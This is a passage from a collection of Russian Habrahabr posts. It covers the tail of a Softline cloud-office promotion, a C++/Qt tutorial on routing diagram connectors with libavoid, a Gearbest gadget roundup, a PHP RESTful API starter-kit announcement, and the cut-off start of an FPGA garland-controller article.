локальных приложений Microsoft Office для работы с документами без подключения к Интернету (дополнительная услуга). До сих пор пакет Microsoft Office опережает другие решения, особенно в части таблиц и презентаций, которые, кстати, чаще всего востребованы бизнесом для расчётом и представления результатов, итогов и подготовки материалов для демонстрации. Основными достоинствами сервиса являются возможность быстрого старта (внедрение виртуального офиса в рабочую систему компании проходит всего за несколько часов), повышение эффективности работы сотрудников, снижение финансовых затрат и безопасность. Вместе с сервисом заказчик получает бесплатную базовую настройку услуги, а также возможность переместить свою электронную почту в «облако».   Эффективность работы повышается за счёт нескольких факторов. Полная автоматизация бизнес-процессов. В любой компании количество рутинных, стандартных процессов преобладает над индивидуальными. И именно в этих процесса человеческий фактор может сыграть злую шутку: сроки согласования срываются, документы теряются, исполнители перекладывают вину друг на друга. Когда процесс автоматизирован, негативные явления нивелируются и значительно растёт скорость обработки каждого из бизнес-процессов. Единая консоль администрирования и управления пользователями и службами. Количество лицензий можно изменять в зависимости от потребностей бизнеса. Это особенно важно, если бизнес находится на старте — может резко изменяться численность персонала, появляется новое оборудование, представители и филиалы. Подобное расширение обычно требует огромных финансовых и трудовых затрат. С облачным офисом дела обстоят иначе — масштабируемость перестаёт быть сложной задачей. Возможность апгрейда. Поддержание ПО в актуальном состоянии — залог того, что функциональность софта будет приносить максимальную пользу. К тому же, удобный и быстрый апгрейд облегчает работу ИТ-службы, делает процессы прозрачными и увеличивает её эффективность. Как уже говорилось выше, виртуальный офис позволяет снизить эксплуатационные расходы и уменьшить лицензионные риски. Благодаря сервису компания может фокусироваться на своей работе, коммуникации и обеспечение их работы — забота сотрудников Softline. Работает облачный сервис от Softline 24/7, круглосуточно и круглогодично.   Все данные пользователей находятся в безопасности, поскольку хранится вся эта информация в  ЦОД-ах компании уровня Tier 3. Плюсом является и совершенно прозрачное соглашение об уровне предоставления услуги (англ. Service Level Agreement , SLA ) с гарантией доступности сервисов. Для того, чтобы гарантировать бесперебойную работу, все компоненты системы дублируются. В дата-центрах Softlne предусмотрены дублируемые входы оптоволокна. Вместе с другими системами предосторожности эта схема гарантирует клиентам беспроблемную связь друг с другом. Каким компаниям подойдёт виртуальный офис Решение «Виртуальный Офис» — набор сервисов, которые поставляются клиенту в облаке. В зависимости от величины компании-заказчика определяется технология реализации. Так, малый и средний бизнес получает мультитентное решение: единую инфраструктуру где находится много небольших клиентов, и они получают сервис на уровне лучших практик. Такой подход ограничен в тонкой настройке и интеграции с системами клиентов, применяются общие для всех политики, любые изменения являются общими и управляются нами, как провайдером сервиса. Это экономически целесообразная технология унифицированных коммуникаций именно для небольших компаний. Хотя бывают и исключения — например, когда компания планирует разворачивать мощную телефонию, с точки зрения администрирования и экономической выгоды есть смысл воспользоваться выделенным сервером. Для крупных пользователей (как по количеству сотрудников, так и по масштабу бизнес-задач) предусмотрена отдельная инсталляция на выделенной архитектуре. Клиент получает больше сервисов от Softline, может обеспечить все потребности: применить самые тонкие настройки политики безопасности, включить дополнительные сервисы, получить гибкость при интеграции в уже существующую ИТ-инфраструктуру. Соответственно, существуют разные разные инфраструктуры управление сервисом. Всего возможно два типа: Для заказчиков в Hosted режиме (малых и средних компаний)  –  консолидированное управление подписками через интерфейс Website Panel в облаке Softline, менее функциональное, чем на выделенном сервере. Заказчики не могут вносить существенные изменения, чтобы не ломать решение, которым пользуются другие компании вместе с ними. Для крупных заказчиков —  веб-интерфейс  консолей  управления сервисами с прямым доступом для установления политик безопасности, управления пользователями и проч. В любой момент времени администратор компании может просмотреть текущий набор услуг, статистику работы сотрудников, изменить уровни доступов для отдельных пользователей.   Финансовая выгода при приобретении виртуального офиса очевидна. Это, во-первых, снижение эксплуатационных расходов. Во-вторых, сокращение расходов на ПО (решаются проблемы пиратства и тп.), снижение лицензионных рисков. Наконец, расходы на облачные сервисы не ложатся в капитальные затраты организации. Все программное обеспечение, которое входит в услугу, обновляется практически сразу после выхода апдейта разработчика программной платформы. Все программное обеспечение лицензировано. Это касается как продукции Microsoft, так и продукции других партнеров. Компания Softline придет на помощь всем пользователям, кто работает с Office 365, но вынуждены перевестись в российское облако из-за вступления в действие ФЗ.   Работа с «Виртуальным офисом» полностью соответствует законодательству РФ в сфере защиты персональных данных. Согласно Федеральному закону №242 от 21 июля 2014 года «О внесении изменений в отдельные законодательные акты Российской Федерации в части уточнения порядка обработки персональных данных в информационно-телекоммуникационных сетях», с 1 сентября 2015 года в Российской Федерации начало действовать положение о локализации хранения и отдельных процессов обработки данных. Этот положение обязывает практически любые компании хранить и обрабатывать данные россиян на серверах, которые физически находятся в России.   Отдельно стоит отметить работу службы технической поддержки. Гарантированное время реакции на обращение пользователя — 15 минут.  Поддержка — круглосуточная, в режиме 24/7/365. Если возникает проблема, служба поддержки ее решает в четко установленные сроки. В команде поддержки работают лишь квалифицированные специалисты, способные эффективно решить любой вопрос или проблему.   Заявку на подключение услуги можно оставить здесь .   Что же, осталось только пожелать всем удачной работы в облаке. И вот уже работа должна быть не виртуальной, а вполне реальной!
https://habrahabr.ru/company/softline/blog/318710/
habrahabr
Маршрутизация ортогональных соединений в редакторах диаграмм
['с++', 'алгоритмы', "dijkstra's algorithm", 'qt']
Маршрутизация ортогональных соединений в редакторах диаграмм В данной статье я покажу, как решить проблему маршрутизации соединений в редакторе диаграмм типа MS Visio. Здесь будет минимум теории и...
Маршрутизация ортогональных соединений в редакторах диаграмм В данной статье я покажу, как решить проблему маршрутизации соединений в редакторе диаграмм типа MS Visio. Здесь будет минимум теории и максимум практики. Если вам нужно быстро реализовать маршрутизацию соединений в двумерной сцене, и вы первый раз сталкиваетесь с подобной проблемой — то эта статья для вас. Проблематика К данной проблеме я пришел в процессе разработки своего хобби-проекта ultra_outliner . Грубо говоря, в нем есть двумерная сцена, в которой находится много прямоугольных карточек, которые могут быть связаны между собой. И соединений может быть довольно много — а значит их нужно маршрутизировать, чтобы сегменты не накладывались, не пересекали карточки и др. Многие из вас работали с Microsoft Visio, и конечно же оценили, как красиво автоматически маршрутизируются стрелочки. Конечно, и Visio не всегда справляется, и для таких случаев есть возможность ручной подгонки. Но тем не менее, не рассматривая крайние ситуации — мне захотелось это повторить. Действительно, ведь там все этим проблемы достаточно неплохо решены. Сначала я решил, что данная проблема уже давно решена, и существует множество библиотек на любой выбор. К сожалению, я был в корне не прав. Библиотеки есть, но понравилась мне более менее только одна libavoid , при том, что половина возможностей в экспериментальной стадии и работают не слишком стабильно. Тем не менее, ее автор имеет несколько научных публикаций по тематике маршрутизации соединений, и на сайте библиотеки можно найти ссылки на научные статьи, по которым достаточно неплохо можно освоить проблематику. Собственная реализация Познав достаточно теории, я не смог лишить себя удовольствия и написать реализацию самому. Обе координатные оси делятся на дискретные отрезки. Точки деления определяются ортогональными проекциями границ объектов (карточек), а также вместе с этим с выбранным шагом делается дополнительное разбиение. Таким образом, мы получаем неравномерную сетку, по узлам которой могут идти маршрутизируемые соединения. Далее, в простейшем случае, перебираем соединения по одному, и алгоритмом Алгоритм Дейкстры по очереди строим соединения. Из карточек строим карту препятствий, а в эвристическую функцию добавляем штрафы за пересечение соединений. Также запрещаем двум соединениям иметь общие совпадающие сегменты (наложение вдоль). Реализация, конечно, работала, но из-за неравномерного разбиения осей местами получались лесенки. Более того, за пару дней я конечно же не смогу добиться результатов, которых добился автор libavoid за много лет. Поэтому, наигравшись, я решил использовать libavoid, вступив с автором в контакт, чтобы настроить ее на стабильную работу. Разработка программного интерфейса Перспектива работать с libavoid в чистом виде в своем коде верхнего слоя мне не понравилась, т.к. API специфическое и надо следить, где и когда очищать память. Да и к тому же callback'и идут по глобальной функции. Поэтому было решено сделать обертку, которая за всем этим будет следить. Собственно, начнем с включением заголовочного файла: #include <libavoid/libavoid.h> Модель обертки представляется в виде ориентированного графа, где есть узлы и ребра. Узел прямоугольный. Таким образом, у класса маршрутизатора получается следующий интерфейс: class edge_router { public: //Создать узел с заданной геометрией и вернуть указатель на него node_t * create_node(const rect_t & rect); //Изменить геометрию заданного узла void set_node_rect(node_t * pnode, const rect_t & rect); //Создать соединение между двумя узлами edge_t * create_edge(node_t * src, node_t * dest) //Удалить соединение void remove_edge(edge_t * p_edge); //Удалить узел void remove_node(node_t * p_node); //Маршрутизировать void reroute(); private: Avoid::Router aRouter; std::vector<node_t*> nodes; std::vector<edge_t*> edges; delegate_t * pDelegate; }; В описании узла, не считая вспомогательных методов сделаем указатель на libavoid-узел: struct node_t { ... Avoid::ShapeRef * aNode; }; А в ребре сделаем указатель на libavoid-соединение, а зачем здесь нужен edge_router, станет ясно позже: struct edge_t { ... edge_satelite data; edge_router * pRouter; Avoid::ConnRef * aEdge; }; В edge_satelite будем хранить информацию для callback-a, который, как правило, будет являться указателем на графическое ребро (т.е. объект соединения на верхнем слое нашей реализации). Поэтому для универсальности можно вынести его вообще в шаблон (и соответственно, внести такую правку в edge_router). Тогда для обработки событий изменения геометрии ребер опишем интерфейс delegate_t: template<typename E> class router_delegate { public: using edge_satelite = E; virtual void edge_updated(edge_satelite, const std::vector<pos_t> &) = 0; }; Теперь интерфейса обертки хватит, чтобы справиться с нашей первоначальной задачей. Все взаимодействие с libavoid (либо с собственной реализацией) останется внутри него. Далее, рассмотрим реализацию описанных методов. Реализация слоя маршрутизации Начнем с настройки libavoid, которая позволит использовать только стабильные ее части, и для получении которых пришлось списаться с разработчиком в силу отсутствия достаточных примеров в документации. Вся конфигурация выполняется в конструкторе: edge_router::edge_router() :aRouter(Avoid::OrthogonalRouting) //Ортогональная маршрутизация { aRouter.setRoutingPenalty(Avoid::segmentPenalty, 50); //Штраф за "лесенки"" aRouter.setRoutingPenalty(Avoid::shapeBufferDistance, 20); //Толщина "мертвой" зоны вокруг узлов aRouter.setRoutingPenalty(Avoid::idealNudgingDistance, 20); //Оптимальная дистанция между содеинениями с узлами aRouter.setRoutingOption(Avoid::RoutingOption::nudgeOrthogonalSegmentsConnectedToShapes, true); //Разносить точки соединения } Далее, создание/удаление узлов: node_t * edge_router::create_node(const rect_t & rect = rect_t(0, 0, 10, 10)) { node_t * new_node = new node_t; Avoid::Rectangle shapeRect(Avoid::Point(rect.x, rect.y), Avoid::Point(rect.x + rect.w, rect.y + rect.h)); new_node->aNode = new Avoid::ShapeRef(&aRouter, shapeRect); new Avoid::ShapeConnectionPin(new_node->aNode, 1, Avoid::ATTACH_POS_CENTRE, Avoid::ATTACH_POS_CENTRE, true, 0.0, Avoid::ConnDirNone); nodes.push_back(new_node); return new_node; } void edge_router::remove_node(node_t * p_node) { auto it = std::find(nodes.begin(), nodes.end(), p_node); nodes.erase(it); aRouter.deleteShape(p_node->aNode); } Т.е. создаем прямоугольную фигуру с точкой привязки в центре. Сразу предостерегу — если делать несколько точек привязки — начинаются непонятные тормоза, поэтому лучше делать одну точку, и разносить граничные точки соединений на границу (за счет nudge). Изменение геометрии узла (включая простое перемещение), которое приводит к перемаршрутизации, описывается: void edge_router::set_node_rect(node_t * pnode, const rect_t & rect) { aRouter.moveShape(pnode->aNode, Avoid::Rectangle(Avoid::Point(rect.x, rect.y), Avoid::Point(rect.x + rect.w, rect.y + rect.h))); } С соединениями примерно аналогично: edge_t * edge_router::create_edge(node_t * src, node_t * dest) { edge_t * new_edge = new edge_t; new_edge->pRouter = this; //Понадобится дальше для callback'a edges.push_back(new_edge); Avoid::ConnEnd dstEnd(src->aNode, 1); Avoid::ConnEnd srcEnd(dest->aNode, 1); new_edge->aEdge = new Avoid::ConnRef(&aRouter, srcEnd, dstEnd); new_edge->aEdge->setCallback(libavoid_conn_callback<E>, new_edge); return new_edge; } void edge_router::remove_edge(edge_t * p_edge) { auto it = std::find(edges.begin(), edges.end(), p_edge); edges.erase(it); aRouter.deleteConnector(p_edge->aEdge); } Вот только за тем исключением, что необходимо дать ссылку на callback, который будет вызываться после маршрутизации, в случае если соединение изменило геометрию. Пришла пора с ним разобраться: template<typename E> static void libavoid_conn_callback(void *ptr) { using edge_t = typename edge_router<E>::edge_t; auto edge = static_cast<edge_t*>(ptr); //Получим рассчитанный маршрут auto & route = edge->aEdge->displayRoute(); //И выполним небольшую постобработку std::vector<pos_t> path; for (size_t i = 0; i < route.ps.size(); ++i) path.push_back(pos_t(route.ps[i].x, route.ps[i].y)); //Здесь можно дополнительно примагнитить крайние точек к границам узлов. Для этого дополнительно надо хранить в соединениях начальную и конечную вершину, а также обновлять прямоугольники узлов. ... //И поскольку функция глобальная - получим нужный объект через ребро, и вызове callback edge->pRouter->pDelegate->edge_updated(edge->data, path); } И, наконец, вызов самой маршрутизации: void edge_router::reroute() { aRouter.processTransaction(); } Теперь рассмотрим реализацию самой сцены с использованием данного результата. Реализация верхнего слоя графической сцены Описываемая реализация осуществлялась с использованием QT поверх базового класса двумерной сцены QGraphicsScene. У сцены сделаем интерфейс для создания узлов, создания соединений, их перемещения и удаления: class diagram_scene : public QGraphicsScene, public router_delegate<routable_link_image*> { Q_OBJECT public: using router_t = edge_router<routable_link_image*>; diagram_scene(); void add_image(movable_image * img); void remove_image(movable_image * img); routable_link_image * create_connection(movable_image * src, movable_image * dst); void remove_connection(connector_image * conn); private: router_t edgeRouter; std::map<movable_image*, router_t::node_t*> routableNodes; std::vector<movable_image*> nodes; std::vector<routable_link_image*> edges; bool enableRouting; }; Проставим в конструкторе саму сцену в качестве получателя callback-ов: diagram_scene::diagram_scene() { edgeRouter.pDelegate = this; } Добавление соединяемого элемента в сцену (movable_image, наследованного от QGraphicsItem) должно сопровождаться добавлением его в QGraphicsScene с соответствующим вызовом обертки: void diagram_scene::add_image(movable_image * img) { addItem(img); nodes.push_back(img); routableNodes.insert(make_pair(img, edgeRouter.create_node(to_rect(img->sceneBoundingRect())))); //Создаем в маршрутизаторе } Удаление будет достаточно симметричным: void diagram_scene::remove_image(movable_image * img) { removeItem(img); auto it = std::find(nodes.begin(), nodes.end(), img); nodes.erase(it); auto rit = routableNodes.find(img); edgeRouter.remove_node(rit->second); //Удаляем из маршрутизатора routableNodes.erase(rit); } Аналогичная реализация для соединений, где routable_link_image — это наследник от QGraphicsPathItem, т.е. графический объект соединения: routable_link_image * diagram_scene::create_connection(movable_image * src, movable_image * dst) { auto new_img = new routable_link_image(pConfig, src, dst); auto src_it = routableNodes.find(src), dst_it = routableNodes.find(dst); new_img->routerEdge = edgeRouter.create_edge(src_it->second, dst_it->second); //Создаем в маршрутизаторе new_img->routerEdge->data = new_img; addItem(new_img); //Добавляем на сцену edges.push_back(new_img); return new_img; } void diagram_scene::remove_connection(connector_image * conn) { auto it = std::find(edges.begin(), edges.end(), conn); edgeRouter.remove_edge((*it)->routerEdge); //Удаляем из маршрутизатора edges.erase(it); } И, наконец, сделаем перестроение соединения при вызове callback-а. void diagram_scene::edge_updated(routable_link_image * img, const std::vector<pos_t> & path) { img->rebuild(path); //Пробежаться по точкам, обновить сам QGraphicsItem } Готово. Теперь надо разобраться с вызовом маршрутизации. Вызов маршрутизации Как правило, везде, где задействованы алгоритмы поиска на графах, вычисления требуют достаточно много ресурсов, и здесь — не исключение. Любое перестроение маршрутизации в Debug сборке будет происходить несколько секунд (хотя в Release летает). Поэтому, необходимо свести к минимуму соответствующие вызовы. Поэтому, маршрутизацию есть смысл вызывать: При добавлении новых узлов При пермещении узлов При удалении узлов Более того, иногда надо сделать несколько действий в рамках одной логической транзакции, и выполнить маршрутизацию только в конце. Для этого реализуем некое подобие рекурсивного mutex-а. Введем в diagram_scene атрибут с инициализирующим значением true: bool enableRouting; Вызов маршрутизации тоже будем осуществляться из diagram_scene: void diagram_scene::reroute() { if (enableRouting) edgeRouter.reroute(); } А вот для обеспечения так называемых транзакций, введем по аналогии с std::lock_guard свою структуру: struct routing_guard { routing_guard(diagram_scene * obj) :pObject(obj), baseVal(pObject->enableRouting) { pObject->enableRouting = false; } ~routing_guard() { pObject->enableRouting = baseVal; pObject->reroute(); } diagram_scene * pObject; bool baseVal; }; И пользоваться можно следующим образом: { routing_guard grd(pScene); //Осуществление манипуляций со сценой ... } //Вызов деструктора и маршрутизация Можно создавать несколько routing_guard подряд, и маршрутизация будет вызвана после уничтожения последнего. Заключение Посмотреть как это работает на практике можно в прототипе ultra_outliner . Для этого совсем не надо вникать в суть самой программы, а можно просто открыть файл с примером из папки samples, открыть вкладку "сюжеты" или "персонажи" (из project explorer'a слева), и там подвигать соединенные элементы. Любое изменение сцены будет вызывать перестроение маршрутизации. Чтобы все выглядело симпатичней, на соединениях есть дополнительные элементы (стрелочки, joint-ы), но это уже все элементы дизайна. А для тех, кто захочет разобраться в теории, рекомендую на сайте libavoid почитать научные публикации по данной тематике.
https://habrahabr.ru/post/318722/
habrahabr
Хиты Geek сезона-2016
['гаджеты', 'Новый Год', 'Gearbest']
Новый год — время подведения итогов. Для любого бизнеса — это горячая пора, которая буквально обескровливает команду. А тут ещё распродажи 11.11, потом чёрная пятница и сразу новогодние скидки… Ни...
Новый год — время подведения итогов. Для любого бизнеса — это горячая пора, которая буквально обескровливает команду. А тут ещё распродажи 11.11, потом чёрная пятница и сразу новогодние скидки… Ни дня на передышку. Весь год мы не только рассылали посылки во все концы, выбирали товары, отдавали их на обзоры, но и писали посты на Geektimes, чтобы рассказать о самом интересном, необычном и выгодном. Китайская промышленность и электроника, помноженные на китайскую же фантазию, дают интересные результаты. Отчасти именно этим обусловлен не спадающий спрос на гаджеты из Поднебесной — всегда можно найти что-то новое, необычное и по хорошей цене. Тем более, что появились известные бренды, которые уделяют внимание не только технологии, но и качеству материалов и сборки. а значит, можно выбирать и уверенно покупать. Мы изучили статистику покупок и подготовили топ «гиковских» гаджетов, которые пользовались наибольшей популярностью и и получали самые лестные отзывы владельцев. Компьютеры как искусство Одна из самых оригинальных гиковских штучек с wow-эффектом — это K8 Mini PC , миниатюрный компьютер… в формфакторе клавиатуры. А если серьёзно, то это гибкая силиконовая клавиатура с вмонтированным простеньким ПК с планшетными характеристиками. Идеальным рекламным слоганом для него стала бы фраза: «Просто добавь монитор». Действительно, достаточно любого, даже весьма старого монитора, чтобы начать работать. Более того, возможно даже подключить два монитора через HDMI и VGA выходы. ТТХ у устройства по-планшетному скромные: процессор Intel Z8300, 2.0ГГц, 4 ядра, 4ГБ оперативной памяти DDR3, встроенная память 64 ГБ, есть слот для microSD (поддерживается 128 ГБ microSDXC), USB-порты, разъём для наушников, поддержка Wi-Fi. На борту Windows 10. Отдельно нужно сказать про интерфейс. Сам «планшетик» (если хотите, системный блок) не имеет экрана, зато отлично работает с жестами и служит тачпадом. Клавиатура резиновая со всеми вытекающими — набирать большие тексты на ней неудобно. Но зато можно без страха капать чай и кофе, сворачивать в трубочку и убирать в футляр. Точно обозначить, для кого этот компьютер, сложно. Тут можно и на даче фильмы смотреть, и полноценно работать с ненагруженными задачами, и использовать как клавиатуру с хорошим тачпадом, например, в серверной. Вариантов много, хотя и компьютер не особо мощный. Думаем, настоящие гики придумают ему достойное применение. Более привычный формфактор ПК (если тут вообще можно говорить о формфакторе) — это всеобщий любимец Raspberry Pi Model 3 B . Процессор 1.2GHz 64-bit quad-core ARM Cortex-A53 CPU, оперативная память 1GB LPDDR2, Wi-Fi, Bluetooth 4.1, поддерживает дистрибутивы ARM GNU / Linux и Windows 10 IoT. В случае этого ПК никаких сомнений в плане применения не возникает — отличный «мозг» для  DIY-изобретений и для персонального интернета вещей. Клавиатура MOTOSPEED Inflictor CK104 позиционируется компанией как игровая, однако к такому определению есть несколько вопросов, среди которых — неигровые переключатели и не особо продуманная эргономика. Однако для офисной работы и набора текста — это великолепное решение, с любимым многими клацающим звуком и ощутимым ходом. Разноцветная подсветка — дополнительный приятный бонус. Клавиатура собрана прочно — очевидно, что служить будет если не вечно, то очень долго. Текущая цена —  $43.99, для такого девайса отличный компромисс. Listen to music Аудиоманы в этом году выбирали наушники Meizu HD50 , которые, к слову сейчас стоят всего чуть более 3000 рублей ($49,99). Строго говоря, это не просто наушники, а гарнитура с возможностью отвечать на звонки, говорить по Skype, записывать голос. Частотный диапазон 20 Гц — 20 кГц, чувствительность 103 ± 3 Дб, импеданс 32 Ом, в поставке — кабель 1,2 м и просто чумовой чехол, мягкий, ударопрочный и надёжно защищающий довольно крепкие наушники. Сами складные наушники выполнены из металла и искусственной кожи и смотрятся стильно на любой голове: от прекрасной блондинистой макушки на пробежке до солидной лысины генерального директора, проводящего удалённое совещание. Звук в наушниках можно назвать ламповым — чистый, мягкий, комфортный, трудной найти музыку, которая в них будет звучать невыигрышно. Кстати, Meizu не просто так выпустили несколько моделей наушников — это их давнее производство, которое прекрасно знакомо российскому покупателю: именно наушники Meizu шли в комплекте с популярными аудиоплеерами Ritmix. Кто помнит, Ritmix-ы, кроме прочих преимуществ, всегда отлично звучали. Наушники Superlux HD668B — отличная бюджетная модель от известного тайваньского производителя студийной аудиоаппаратуры. Основные звуковые характеристики: чувствительность 98 дБ/мВт, диапазон частот 10 Гц – 30 кГц, импеданс 56 Ом. В комплекте идут два кабеля длиной 1 м и 3 м, вес самих наушников 222 грамма. Конструктивно наушники очень удобные, крепкие, бюджетность «полупрофов» сказалась разве что на качестве материалов — хорошая синтетическая кожа и обычный пластик. За счёт небольшого отклонения под разными углами «уши» прилегают максимально удобно и садятся на любую голову. Звук не просто хороший — звук отличный, наушники подходят абсолютно для всех музыкальных стилей. За цену $27.99 можно ещё и впрок запастись для подарков любимым аудиоманам или даже любителям послушать музыку в простом плей-листе. Listen to your heart В итоговом обзоре нельзя не упомянуть едва ли не самый удачный фитнес-браслет среди китайских производителей — Xiaomi Mi Band 2 . Стильный, легкий, с отличным креплением, он выполняет все свои функции на ура: измеряет расстояние, считает калории, шаги, измеряет пульс, контролирует режим сна и даже показывает время. Умный браслет интегрируется с приложением на смартфоне — это позволяет контролировать прогресс физической деятельности. Новогодняя цена — $23.99. Пульсометр кажется атрибутом какого-нибудь старика или бабули с давлением. на самом деле, этот прибор востребован не только спортсменами — увы, сердечно-сосудистые заболевания помолодели, и многие молодые ребята и девчонки нуждаются в портативном, быстром и незаметном пульсометре, чтобы оценить своё состояние и решить, нужно ли лекарство. Это миниатюрное устройство ценой $11.61 сослужит верную службу своему владельцу. Народные смартфоны По мнению многих покупателей Gearbest, смартфон OnePlus 3 — топовый продукт этого года. Действительно, телефон получился на славу: в прочном корпусе отличная начинка, ёмкий аккумулятор, хороший звук. На борту Android 6.0, 5,5-дюймовый дисплей, мощный топовый процессор Snapdragon 820 Quad Core 2.2GHz, 6 ГБ оперативной памяти, 64 ГБ встроенной памяти, поддержка OTG. Благодаря такой топовой электронике, смартфон справится с любыми задачами и удовлетворит и игромана, и бизнесмена, и любителя экспериментировать с ПО телефона.  Внешняя камера 16 Мп, фронтальная 8 Мп — опять же, универсальный набор как для путешественников и любителей делать фото каждый день, так и для любительниц и любителей одиночных и групповых селфи. Если кто-то ещё сомневается, смартфон работает в сетях 4G. Аккумулятор — 3000 мАч, функция быстрой зарядки. Несмотря на свои размеры, смартфон отлично лежит в руке и подойдёт практически под любую взрослую ладонь. Ну и цена в период новогодней распродажи — $489.39. Лучший бюджетник, судя по объёму заказов и отзывам, — смартфон Xiaomi Redmi 3S , который стоит всего $121.99. Ходят слухи, что в руках отдельных гиков он превращался в синхрофазотрон практически топовое устройство — как говорится, доводили до ума. ТТХ вполне соответствуют 2016 году: Android 6.0, процессор Qualcomm Snapdragon 430 Octa Core 1.4GHz, 2 ГБ оперативной памяти, 16 ГБ встроенной памяти, сканер отпечатков пальцев на задней панели, камера 13 Мп. Дисплей смартфона — 5 дюймов, вес — 144 грамма. Одно из основных преимуществ — аккумулятор 4100 мАч, который обеспечивает большую автономность. Ещё одна волшебная электронная коробочка, которая в этом году была нарасхват — это ТВ-бокс Xiaomi Mi TV Box 3 Enhanced , которую брали, рутовали, настраивали и получали мощный кастомизированный девайс, который обеспечивал доступ с телевизора ко всему: от Youtube до радио, IP-TV и даже уличных вебкамер во всех уголках планеты. TV-Box имеет два USB-порта, HDMI-вход, двухъядерный процессор Cortex-A72 + четырехъядерный процессор Cortex-A53, работает под управлением операционной системы Android 5.1, оперативная память 2 ГБ, встроенная — 8 ГБ. Поддерживает множество форматов видео, аудио и фото, работает с 4К. При такой мощности и даже встроенной охлаждающей системе коробочка Xiaomi имеет совсем небольшие габариты 10 см на 10 см и высоту 2,5 см. В общем, за цену всего $89.60 вы получаете доступ к самым разнообразным развлечениям. Делу время — потехе час Наверное, все уже привыкли, что вслед за победой гаджета на  Кикстартере хитроумные китайцы создают точно такой же продукт и предлагают его покупателям. Так вышло и с кнопкой Fidget Cube — на Gearbest  уже есть яркий аналог — Magic Cube . Тут рекомендация одна — надо брать, потому что она реально отвлекает, расслабляет, имеет тихие варианты движения и гораздо менее раздражает окружающих, чем любимое нервными работниками щёлканье авторучкой или кнопкой крепления пропуска. Да и цена покою — всего пять баксов. Думаете, что гики и айтишники сидят дома, бьют по клавишам и старательно делают свой дом умный, паяя платы? Да что вы о них знаете! Они могут легко отдать $307,18 за игрушечную машинку — и они точно знают, что оно того стоит. Например, модель JLB 2.4G Cheetah 1:10 — фантастический экземпляр в агрессивном дизайне. Этот «гепард» прекрасен: развивает скорость 70-80 км.ч, легко преодолевает неровности и холмы, переворачиваясь, но сохраняя нетронутой подвеску, форсирует лужи и песок. На одном аккумуляторе машина держится около 35 минут — поверьте, за это время вы успеете насладиться всеми трюками и собрать сотни зрителей вокруг. Модель крепкая, отлично собранная, устойчивая к вандальным замашкам хозяина, оснащена мощным движком. Единственный недостаток — вес почти 4 кг, время зарядки 6-7 часов (можно парковать на ночь). Всё своё носи с собой Мы часто включаем в обзоры сумки и рюкзаками — просто потому, что весь набор гаджетов и остальных повседневных вещей нужно носить в чём-то прочном и удобном. Особенно это актуально в велосезон, когда нести «всё своё» удобнее всего за спиной. Например, в рюкзаке TIGERNU T — B3143 — явном хите этого года среди наших покупателей. Рюкзак 17 дюймов объёмом 17 литров, с антивандальными замочками на молнии, качественно прошит, с хорошим водонепроницаемым покрытием, способный вместить и ноутбук, и кучу одежды. Внутри рюкзака много отделений и потайных карманов для документов и для мелочи. Лямки широкие, мягкие, не жмут и не натирают плечи. В предновогодний период цена всего $29.59. До нового года осталось меньше недели — у всех уже готовы подарки, у кого-то закуплены сладости и фрукты, всё больше новогодних роликов и шуток вокруг нас. Gearbest не отдыхает ни днём, ни ночью и даже, если вы зайдёте на наш сайт ночью 1 января, он будет рад вас видеть и вряд ли ляжет в 404 или 500. В новом году мы остаёмся с вами, продолжаем работать, доставлять, отправлять, подбирать, закупать. Просто для того, чтобы делать жизнь покупателей удобнее, технологичнее и современнее. С наступающим, друзья!
https://geektimes.ru/company/gearbest/blog/284198/
habrahabr
Платформа для быстрого создания RESTful API
['php', 'api', 'restful']
За последние несколько лет мне пришлось создать много API на PHP. Большая часть из них была RESTful. Первый раз это было интересно — часы обсуждения формата ответа, содержимого ошибок, вариантов...
За последние несколько лет мне пришлось создать много API на PHP. Большая часть из них была RESTful. Первый раз это было интересно — часы обсуждения формата ответа, содержимого ошибок, вариантов авторизации и прочей романтики. Во второй раз не покидало чувство дежавю. На третий раз уже было понятно — надо что-то менять… Ну и на четвёртый раз, когда передо мной поставили задачу создания API, параллельно разработке основного проекта, я приступил к созданию универсальной платформы для создания API в котором уже будут решены все «главные» вопросы: Формат ответа (в том числе и ошибок) Форматирование даты Ведение документации Авторизации и аутентификации Валидация запросов и многое другое Как прагматичный человек сначала я поискал, что же есть готового. Кое-что таки есть. api-platform Сайт: api-platform.com Очень мощное решение. Сделано на основе php-фреймворка Symfony. Есть всё что нужно и даже больше. Наверно, для тех кто любит программирование через конфигурации и Symfony, это то что нужно. Увы я не отношусь к этой категории. apigility Сайт: apigility.org Не менее мощное решение. На этот раз на основе фреймворка Zend. Это даже какая-то CMS для создания API, причём и RESTful и RPC. Наверно, для тех кто любит программирование с помощью мышки, это то что нужно. Увы я и к этой категории не отношусь. Есть и другие решения, вот неплохая подборочка . Но в итоге ничего милого моему сердцу выбрать не удалось. Зато удалось сформировать несколько принципов и требований к будущему проекту: Код, а не аннотации и конфигурации Никаких UI Создание полностью готового API одной командой Автогенерация документации. Желательно по коду, а не из аннотаций Простота Минимум велосипедов Моё решение Америки я не открыл. Просто взял хорошие компоненты, собрал их вместе, написал весь необходимый boilerplate-код для работы и собрал composer проект. Краеугольный камень — это стандарт представления jsonapi . С помощью него решены почти все «холиварные» вопросы. Мне осталось только принять решение по формату запросов с фильтрацией, сортировкой и постраничной навигацией. За вывод отвечает пакет json-api от neomerx (Кстати, не так давно он тоже собрал свой api starter pack ). В качестве основы я выбрал Slim3 . Грамотно спроектированный, быстрый, легко расширяемый и простой. Для работы с БД ORM Eloquent . Удобная, сравнительно быстрая и простая. Работу с правами и контролем доступа построил на основе Zend ACL . На удивление простой пакет для работы с правами. Авторизация на основе JWT токенов Документацию генерирую по комментариям написанным в коде с помощью ApiDocJS . Почему не Swagger? Пробовал и его, но мне apidoc понравился больше. Код размещён на github , проект доступен на packagist . Сразу после установки у вас будет полностью готовое API со всем необходимым. Буду рад, если кто-то применит пакет в работе. Я уже успел сделать 1 проект на нём (+ тот проект, который делал параллельно с bootstrapi) — полёт нормальный.
https://habrahabr.ru/post/318724/
habrahabr
Отладочная плата ПЛИС — Франкенштейн. Контроллер елочных гирлянд
['ПЛИС', 'FPGA', 'Verilog', 'Altera', 'ёлочные гирлядны']
Очередная серия про ПЛИС и отладочную плату Френки. Предыдущие серии 1, 2, 3. Сделать контроллер елочных гирлянд не просто, а очень просто! Hello World на ПЛИС — это помигать светодиодом. А...
